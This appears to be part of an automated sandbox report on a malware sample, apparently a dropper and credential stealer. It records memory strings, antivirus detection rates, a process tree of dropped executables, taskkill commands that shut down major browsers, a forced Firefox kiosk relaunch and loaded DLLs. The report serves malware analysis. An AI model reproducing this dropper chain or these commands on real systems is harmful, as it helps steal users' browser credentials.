Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2616551353.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2604570319.000000001D7E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2616551353.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2604570319.000000001D7E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2616551353.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2604570319.000000001D7E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2616551353.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2604570319.000000001D7E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000003.1733012130.0000000005E47000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1733332516.0000000005E2D000.00000004.00000800.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000003.2277724392.000000001D6E4000.00000004.00000020.00020000.00000000.sdmp, e192e43b61.exe, 0000000A.00000003.2607664389.00000000057E4000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000B.00000003.2740168435.0000000005AAE000.00000004.00000800.00020000.00000000.sdmp, e192e43b61.exe, 0000000D.00000003.2809108791.0000000005ACA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2616551353.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2604570319.000000001D7E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2616551353.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, K7IHXYTNUQJPI2M9UU0ECLE1K.exe, 00000006.00000002.2604570319.000000001D7E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe	Virustotal: Detection: 42%
Source: file.exe	ReversingLabs: Detection: 31%

Source: 6IF65DE3AL7UEH5E4W09DIZ.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: K7IHXYTNUQJPI2M9UU0ECLE1K.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe "C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe"
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe "C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe "C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe "C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe "C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe "C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe "C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe "C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe"
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe "C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe"
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2320 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2216 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {42e60347-4193-4a06-98d1-e931f84d08bb} 6604 "\\.\pipe\gecko-crash-server-pipe.6604" 1e752c6cf10 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001608001\num.exe "C:\Users\user\AppData\Local\Temp\1001608001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Process created: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe "C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe "C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe"
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe "C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe "C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe "C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe "C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe "C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe "C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001608001\num.exe "C:\Users\user\AppData\Local\Temp\1001608001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Process created: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe "C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe"
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2320 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2216 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {42e60347-4193-4a06-98d1-e931f84d08bb} 6604 "\\.\pipe\gecko-crash-server-pipe.6604" 1e752c6cf10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6IF65DE3AL7UEH5E4W09DIZ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
